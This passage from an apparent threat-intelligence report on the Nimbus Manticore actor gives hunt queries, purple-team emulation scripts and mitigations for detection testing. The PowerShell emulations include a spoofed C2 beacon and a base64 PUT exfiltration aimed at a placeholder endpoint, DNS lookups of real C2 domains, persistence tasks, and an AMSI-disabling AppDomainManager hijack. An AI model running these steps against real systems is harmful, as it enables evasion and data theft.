| project Timestamp, DeviceName, InitiatingProcessFileName,
    FileName, FolderPath, SHA256
| order by Timestamp desc
```

10.3 Hunt: Scheduled Tasks Created by Non-Standard Processes

Nimbus Manticore creates scheduled tasks from within malicious DLLs rather than schtasks.exe. This hunt flags any scheduled task creation where the initiating process is not a recognised task management binary.

```
// HUNT: Scheduled Tasks Created with Suspicious Names and Unusual Parent Processes
// Nimbus Manticore creates tasks via malicious DLLs, not schtasks.exe
DeviceEvents
```

```

| where Timestamp > ago(30d)
| where ActionType == "ScheduledTaskCreated"
| where InitiatingProcessFileName !in~ (
    "schtasks.exe", "taskschd.dll", "services.exe"
)
| project Timestamp, DeviceName, AccountName,
    InitiatingProcessFileName, AdditionalFields
| order by Timestamp desc

```

10.4 Hunt: Azure C2 Beaconsing from Non-Browser Processes

MiniFast beacons periodically to Azure-hosted C2 domains. This hunt identifies consistent HTTP requests to azurewebsites.net from non-browser processes, which may indicate active C2 communication.

```

// HUNT: Azure-Hosted C2 Beaconsing – Consistent HTTP intervals from non-browser
processes
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteUrl has "azurewebsites.net"
| where InitiatingProcessFileName !in~ (
    "msedge.exe", "chrome.exe", "firefox.exe", "iexplore.exe",
    "WindowsAzureGuestAgent.exe", "WaAppAgent.exe"
)
| summarize
    RequestCount = count(),
    MinGap = min(Timestamp),
    MaxGap = max(Timestamp)
    by DeviceName, InitiatingProcessFileName, RemoteUrl
| where RequestCount > 10
| order by RequestCount desc

```

11. Adversary Emulation

This section provides ten emulation procedures mapped to the TTPs observed in MiniJunk V2 and MiniFast campaigns. Each procedure targets a specific detection rule or hunt query from Sections 9 and 10, enabling purple team operators to validate detection coverage without deploying live malware. All emulations use benign payloads or produce observable artefacts only — no real backdoor functionality is exercised.

WARNING: All emulations must be approved by your change advisory board and carried out in an authorised test environment or on a monitored endpoint with explicit written approval. Emulation 8 (AMSI/ETW bypass) must be performed in an isolated VM only. Never run these procedures on production systems without prior authorisation.

11.1 Emulation Summary

#	Technique	Emulation Action	Detection Validated	Atomic RT	Risk
1	T1574.014 — AppDomainManager Hijacking	Create malicious .config in %TEMP%	Sigma 9.1, KQL 9.5, Hunt 10.1	Manual	LOW

#	Technique	Emulation Action	Detection Validated	Atomic RT	Risk
2	T1574.001 — DLL Side-Loading	Drop placeholder DLL to AppData sideload path + rundll32	Sigma 9.3, KQL 9.8, Hunt 10.2	T1574.001 #1	LOW
3	T1053.005 — Scheduled Task (MiniJunk V2)	Create "Synchronize OS" task via schtasks.exe	Sigma 9.2, KQL 9.6, Hunt 10.3	T1053.005 #1	LOW
4	T1053.005 — Scheduled Task (MiniFast)	Create "WindowsSecurityUpdate" task via schtasks.exe	Sigma 9.2, KQL 9.6	T1053.005 #1	LOW
5	T1053.005 — Non-Standard Task Creator	Create task via PowerShell (not schtasks.exe)	Hunt 10.3 (non-standard parent)	T1053.005 #4	LOW
6	T1071.001 + T1102 — HTTP Beacon w/ Chrome UA	Repeat POST to safe endpoint using MiniFast UA string	KQL 9.7, Hunt 10.4	Manual	LOW
7	T1102 — C2 DNS Resolution	Resolve all known IOC domains via Resolve-DnsName	Sigma 9.4, Sysmon EID 22	Manual	LOW
8	T1562.001 — AMSI/ETW Disable	AppDomainManager .config that disables AMSI at init	EDR AMSI/ETW tamper alerts	T1562.001 #12	MEDIUM
9	T1057 + T1083 — Discovery Enumeration	Enumerate processes, drives, and directory via WMI	EDR discovery telemetry	T1083 #1, T1057 #1	VERY LOW
10	T1041 — Exfiltration Over C2 Channel	PUT base64-encoded test file to safe endpoint	KQL 9.7, CASB/DLP alerts	Manual	LOW

Recommended execution order: Emulations 1-5 (host-based, lowest risk) → 7 and 9 (network, requires safe endpoint) → 6 and 8 (DNS and discovery) → 10 (exfiltration simulation). Emulation 8 (AMSI bypass) should only be run in a dedicated lab VM after all other emulations are complete.

11.2 Emulation 1 — AppDomainManager Hijack (.config File Creation)

Simulates the initial artefact written by the MiniJunk V2 installer: a malicious .config file placed adjacent to a legitimate .NET binary, directing the runtime to load an attacker-controlled AppDomainManager. This is the highest-confidence detection opportunity in the kill chain — it occurs before any payload executes.

```
# Emulation 1: AppDomainManager Hijack — .config File Creation (T1574.014)
# Validates: Sigma 9.1, KQL 9.5, Hunt 10.1
```

```
# Risk: LOW – file creation only, no code execution
# Run on: Monitored test endpoint or isolated VM

$configContent = @"
<configuration>
  <runtime>
    <appDomainManagerAssembly value="uevmonitor, Version=1.0.0.0,
Culture=neutral"/>
    <appDomainManagerType value="MyAppDomainManager"/>
    <developmentMode developerInstallation="true"/>
    <probing privatePath="."/>
  </runtime>
</configuration>
"@
$configPath = "$env:TEMP\Setup.exe.config"
Set-Content -Path $configPath -Value $configContent
Write-Host "[+] Artefact created: $configPath"
# Expected: Sigma/KQL rule fires on TargetFilename ends with ".config" in
AppData/Temp
# Expected: Hunt 10.1 returns this file in DeviceFileEvents
# Cleanup (run after validation):
# Remove-Item $configPath
```

11.3 Emulation 2 — DLL Drop to AppData Sideload Path

Simulates the second stage of the MiniJunk V2 chain: dropping uevmonitor.dll or UpdateChecker.dll into the AppData path used for DLL sideloading. The rundll32 invocation generates a DeviceImageLoadEvents entry that should match the DLL sideload detection (Sigma 9.3, KQL 9.8).

```
# Emulation 2: DLL Drop to AppData Sideload Path (T1574.001)
# Validates: Sigma 9.3, KQL 9.8, Hunt 10.2
# Risk: LOW – placeholder file only; rundll32 invocation generates image load event
# Atomic Red Team: Invoke-AtomicTest T1574.001 -TestNumbers 1

$dropPath = "$env:LOCALAPPDATA\Packages\TestSideload"
New-Item -ItemType Directory -Path $dropPath -Force | Out-Null
# Create placeholder DLL to generate file creation telemetry
$null = New-Item -ItemType File -Path "$dropPath\uevmonitor.dll" -Force
Write-Host "[+] Placeholder DLL at $dropPath\uevmonitor.dll"
# Trigger image load event (benign invocation – no real export)
Start-Process -FilePath "rundll32.exe" -ArgumentList "$dropPath\uevmonitor.dll,#1"
-Wait
Write-Host "[+] Image load event generated – check DeviceImageLoadEvents"
# Expected: Sigma 9.3 fires on ImageLoaded containing \AppData\Local\Packages\
# Expected: Hunt 10.2 returns signed process loading unsigned DLL from AppData
# Cleanup
Remove-Item -Recurse -Force $dropPath
```

11.4 Emulation 3 — Scheduled Task "Synchronize OS" (MiniJunk V2 Persistence)

Creates the exact scheduled task name used by MiniJunk V2 for persistence. Windows Security EventID 4698 is generated on task creation and is the primary telemetry source for Sigma 9.2 and KQL 9.6. Confirm the alert fires before cleaning up.

```
# Emulation 3: Scheduled Task "Synchronize OS" – MiniJunk V2 (T1053.005)
# Validates: Sigma 9.2, KQL 9.6, Hunt 10.3
# Risk: LOW – harmless cmd /c whoami task; delete immediately after validation
# Atomic Red Team: Invoke-AtomicTest T1053.005 -TestNumbers 1

# Create task matching exact MiniJunk V2 persistence name
schtasks /create /tn "Synchronize OS" /tr "cmd.exe /c whoami > NUL" /sc ONLOGON /f
schtasks /query /tn "Synchronize OS" /fo LIST
Write-Host "[+] Task created – should trigger Windows Security EventID 4698"
Write-Host "[+] Verify: Sigma 9.2 and KQL 9.6 fire on TaskName contains Synchronize OS"
# Cleanup
schtasks /delete /tn "Synchronize OS" /f
Write-Host "[+] Task deleted"
```

11.5 Emulation 4 — Scheduled Task "WindowsSecurityUpdate" (MiniFast Persistence)

Creates the exact scheduled task name used by MiniFast (opcode 0xB1 execution path). Both task names must trigger independently — this emulation confirms that the second name in the detection rule is correctly matched.

```
# Emulation 4: Scheduled Task "WindowsSecurityUpdate" – MiniFast (T1053.005)
# Validates: Sigma 9.2, KQL 9.6
# Risk: LOW – harmless task; delete immediately after validation

schtasks /create /tn "WindowsSecurityUpdate" /tr "cmd.exe /c whoami > NUL" /sc ONLOGON /f
schtasks /query /tn "WindowsSecurityUpdate" /fo LIST
Write-Host "[+] Task created – should trigger Windows Security EventID 4698"
Write-Host "[+] Verify: Both task names in Sigma 9.2 must match"
schtasks /delete /tn "WindowsSecurityUpdate" /f
Write-Host "[+] Task deleted"
```

11.6 Emulation 5 — Task Created by Non-Standard Process (Hunt 10.3 Validation)

In real Nimbus Manticore intrusions, scheduled tasks are created from within malicious DLLs rather than schtasks.exe. This emulation registers a task via PowerShell, which should appear in Hunt 10.3 results with InitiatingProcessFileName = powershell.exe rather than the expected task management binaries.

```
# Emulation 5: Task Created by Non-Standard Process – Hunt 10.3 (T1053.005)
# Validates: Hunt 10.3 (task creation not from schtasks.exe)
# Risk: LOW – creates then immediately deletes a test task
# This emulation creates a scheduled task via PowerShell (not schtasks.exe)
# to simulate malware creating tasks from within a DLL/script process

$taskName = "LBCEmulTest"
$action = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c whoami > NUL"
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName $taskName -Action $action -Trigger $trigger -Force | Out-Null
Write-Host "[+] Task registered via PowerShell.exe (not schtasks.exe)"
Write-Host "[+] Hunt 10.3 should flag: InitiatingProcessFileName = powershell.exe"
```

```
Unregister-ScheduledTask -TaskName $taskName -Confirm:$false
Write-Host "[+] Task removed"
```

11.7 Emulation 6 — MiniFast HTTP Beacon with Chrome User-Agent

Simulates MiniFast's periodic C2 beacon: a JSON POST to the /agent/poll endpoint with a Chrome/146 User-Agent string, sent from a non-browser process (PowerShell). Replace the placeholder endpoint with a webhook.site URL or internal Burp Collaborator listener. Run five beacons at 30-second intervals to match the timing pattern flagged by Hunt 10.4.

```
# Emulation 6: MiniFast HTTP Beacon with Chrome UA (T1071.001 + T1102)
# Validates: KQL 9.7, Hunt 10.4 (Azure C2 beaconing from non-browser process)
# Risk: LOW — connects to safe test endpoint only; replace placeholder before
running
# Prerequisites: Set up receiver at webhook.site or internal Burp Collaborator

$testEndpoint = "https://<YOUR-SAFE-ENDPOINT>/agent/poll" # Replace before
running
$headers = @{
    "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36"
    "Content-Type" = "application/json"
}
$body = @{
    clientId = "$env:COMPUTERNAME`:$env:USERDOMAIN$env:USERNAME"
    type = "poll"
} | ConvertTo-Json
for ($i = 0; $i -lt 5; $i++) {
    Invoke-RestMethod -Uri $testEndpoint -Method POST -Headers $headers -Body $body
    -ErrorAction SilentlyContinue
    Write-Host "[+] Beacon $($i+1)/5 sent at $(Get-Date -Format HH:mm:ss)"
    Start-Sleep -Seconds 30
}
Write-Host "[+] Beacon simulation complete"
# Expected: Hunt 10.4 fires — pwsh.exe making repeated requests to test endpoint
# Expected: KQL 9.7 fires if test endpoint matches RemoteUrl pattern
```

11.8 Emulation 7 — DNS Queries to Known IOC Domains

Triggers Sysmon EventID 22 (DNS Query) for all confirmed Nimbus Manticore C2 domains. Sigma 9.4 keys on these QueryName values — if the rule fires here it will also fire on live traffic. Confirm the lookups appear in DNS proxy/firewall logs regardless of whether they resolve; blocked domains still generate telemetry that should be alerted.

```
# Emulation 7: DNS Queries to Known C2 Domains (T1102)
# Validates: Sigma 9.4, Sysmon EventID 22 (DNS Query), DNS proxy alerting
# Risk: LOW — DNS lookups only; domains should be blocked at perimeter
# Note: This tests detection telemetry — domains must appear in DNS logs even if
blocked

$c2Domains = @(
    "peerdistsvcmangers.azurewebsites.net",
    "licencemangers.azurewebsites.net",
    "licencesupporting.azurewebsites.net",
    "buisness-central.azurewebsites.net",
```



```

    "nanomatrix.azurewebsites.net",
    "business-startup.org",
    "getsqldeveloper.com"
)
foreach ($domain in $c2Domains) {
    Write-Host "[*] Resolving: $domain"
    Resolve-DnsName $domain -ErrorAction SilentlyContinue | Out-Null
}
Write-Host "[+] DNS resolution attempts complete"
# Expected: Sigma 9.4 matches QueryName in Sysmon EventID 22
# Expected: DNS proxy/firewall logs show blocked/alerted lookups
# Expected: DeviceDnsEvents in MDE shows powershell.exe resolving IOC domains

```

11.9 Emulation 8 — AMSI/ETW Disable via AppDomainManager (MEDIUM RISK)

Validates EDR and AV detection of the AMSI and ETW bypass technique used by the MiniJunk V2 loader. This emulation disables AMSI within a spawned process using an AppDomainManager .config file — a technique specific to this threat actor. Run in an isolated VM only. The Atomic Red Team T1562.001 test 12 is the preferred option; the manual procedure is provided as a reference for environments without ART installed.

```

# Emulation 8: AMSI Bypass via AppDomainManager Config (T1562.001)
# Validates: EDR/AV detection of AMSI and ETW tampering at .NET process init
# Risk: MEDIUM – disables AMSI in spawned process; run in isolated lab VM only
# Atomic Red Team (preferred): Invoke-AtomicTest T1562.001 -TestNumbers 12

# Option A – Atomic Red Team
Invoke-AtomicTest T1562.001 -TestNumbers 12

# Option B – Manual (requires minimal .NET test binary in lab)
# Step 1: Create the AppDomainManager hijack config
$samsiCfg = @"
<configuration>
  <runtime>
    <appDomainManagerAssembly value="AmsiBypass, Version=1.0.0.0,
Culture=neutral"/>
    <appDomainManagerType value="BypassDomainManager"/>
    <probing privatePath="."/>
  </runtime>
</configuration>
"@
$samsiCfg | Set-Content "$env:TEMP\TestApp.exe.config"
# Step 2: Place companion AmsiBypass.dll (lab-compiled) in the same directory
# Step 3: Run TestApp.exe – the malicious AppDomainManager loads before main()
#         and calls AmsiInitialize with null session handle
# Expected: EDR alert on AMSI/ETW modification; AV may flag DLL at write time
Write-Host "[!] Run in isolated VM only – AMSI will be inactive after execution"

```

11.10 Emulation 9 — Process, Drive, and Directory Enumeration

Simulates MiniJunk V2 opcodes 0x05 (process enumeration), 0x09 (drive enumeration), and 0x02 (directory listing) using WMI and PowerShell. This validates that your EDR captures discovery activity

from scripting engines and confirms that DeviceProcessEvents and DeviceFileEvents telemetry is populated for these event types.

```
# Emulation 9: Process, Drive and Directory Enumeration – Opcodes 0x05 / 0x09 / 0x02 (T1057 / T1083)
# Validates: EDR discovery telemetry; confirms visibility into WMI and dir enum events
# Risk: VERY LOW – read-only; no system changes

# Opcode 0x05 – Process Enumeration
Write-Host "[*] Enumerating processes (opcode 0x05 simulation)..."
Get-Process | Select-Object Id, ProcessName, Path | Format-Table -AutoSize
Write-Host "[+] Process count: $($Get-Process).Count)"

# Opcode 0x09 – Drive Enumeration
Write-Host "[*] Enumerating logical drives (opcode 0x09 simulation)..."
Get-WmiObject Win32_LogicalDisk | Select-Object DeviceID, DriveType, FreeSpace, Size | Format-Table

# Opcode 0x02 – Directory Listing
Write-Host "[*] Listing user home directory contents (opcode 0x02 simulation)..."
Get-ChildItem "$env:USERPROFILE" -Force | Select-Object Name, LastWriteTime, Length | Format-Table

Write-Host "[+] Enumeration complete"
# Expected: DeviceProcessEvents shows rapid WMI queries from powershell.exe
# Expected: DeviceFileEvents shows directory access in user profile
```

11.11 Emulation 10 — File Exfiltration via PUT Request

Simulates MiniFast opcode 0x08 (file upload to C2): a PUT request with a base64-encoded payload body and spoofed Chrome User-Agent, sent to a safe test endpoint. This validates network-layer detection (KQL 9.7), CASB inspection for PUT from non-browser processes, and DLP coverage for base64-encoded content in HTTP request bodies.

```
# Emulation 10: File Exfiltration via PUT Request – Opcode 0x08 (T1041)
# Validates: KQL 9.7, EDR exfiltration/network detection
# Risk: LOW – sends benign test string to safe endpoint only
# Prerequisites: Replace <YOUR-SAFE-ENDPOINT> with webhook.site or Burp Collaborator

$testEndpoint = "https://<YOUR-SAFE-ENDPOINT>/upload/" # Replace before running
$testFile = "$env:TEMP\exfil_test.txt"
"Simulated exfiltration payload – detection test. $(Get-Date)" | Set-Content $testFile

$bytes = [System.IO.File]::ReadAllBytes($testFile)
$b64payload = [Convert]::ToBase64String($bytes)

$headers = @{
    "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36"
    "Content-Type" = "application/octet-stream"
}
```

```

Invoke-WebRequest -Uri $testEndpoint -Method PUT -Headers $headers -Body
$b64payload -ErrorAction SilentlyContinue
Write-Host "[+] PUT /upload/ simulation complete"
# Expected: DeviceNetworkEvents — powershell.exe PUT to test endpoint
# Expected: CASB/proxy alerts on PUT method from non-browser process
# Expected: DLP alert if content inspection is enabled
Remove-Item $testFile
Write-Host "[+] Cleanup complete"

```

12. Mitigation and Defensive Recommendations

Priority	Recommendation	Addresses
CRITICAL	Block all confirmed C2 domains and IPs at DNS/proxy — see IOC table. Prioritise Azure subdomains matching known patterns.	Active C2 communication; prevents data exfiltration and command receipt
CRITICAL	Deploy YARA and Sigma rules to EDR/SIEM immediately — see Section 9. Priority: AppDomainManager .config detection and scheduled task creation rules.	Both MiniJunk V2 and MiniFast infection chains
HIGH	Configure EDR to alert on DLL loading from AppData paths by signed binaries. Treat as high-risk behaviour requiring analyst triage.	DLL sideloading evasion technique core to all three campaign waves
HIGH	Enable and monitor Scheduled Task creation events (EventID 4698). Alert when initiating process is not schtasks.exe, Task Scheduler, or SYSTEM.	Persistence via "Synchronize OS" and "WindowsSecurityUpdate" tasks
HIGH	Implement phishing-resistant MFA (FIDO2/hardware tokens) for all remote access and email. Career-themed phishing is the primary initial access vector.	Initial access via spearphishing in all three waves
HIGH	Enforce application allowlisting or signed binary requirements. Block execution of unsigned or newly dropped DLLs in AppData directories.	Prevents malicious DLL execution regardless of sideloading mechanism
MEDIUM	Deploy DNS filtering to block newly registered domains and domains associated with Azure subdomains outside your known-good list.	C2 infrastructure hosted primarily on Azure azurewebsites.net
MEDIUM	Train employees in aviation, defense, and software sectors on career-themed phishing. Specific red flags: ZIP files from OnlyOffice, fake job applications, unexpected	Social engineering lures are consistent across all waves

Priority	Recommendation	Addresses
	Zoom installers.	
MEDIUM	Restrict .NET application execution to known-good directories. Prevent AppDomainManager hijacking by blocking .config files in user-writable paths.	AppDomainManager hijacking — core evasion technique across all payloads
MEDIUM	Monitor for SSL.com-signed binaries from issuers "Gray Matter Software S.R.L." and "Kirubel Kerie Negeya" — known abused certificates.	Code-signing certificate abuse used to legitimise MiniFast loaders
LOW	Add SEO-poisoned domain getsqldveloper[.]com to web proxy blocklist. Remind developers to download software only from official vendor sites.	April 2026 SEO poisoning campaign targeting developers

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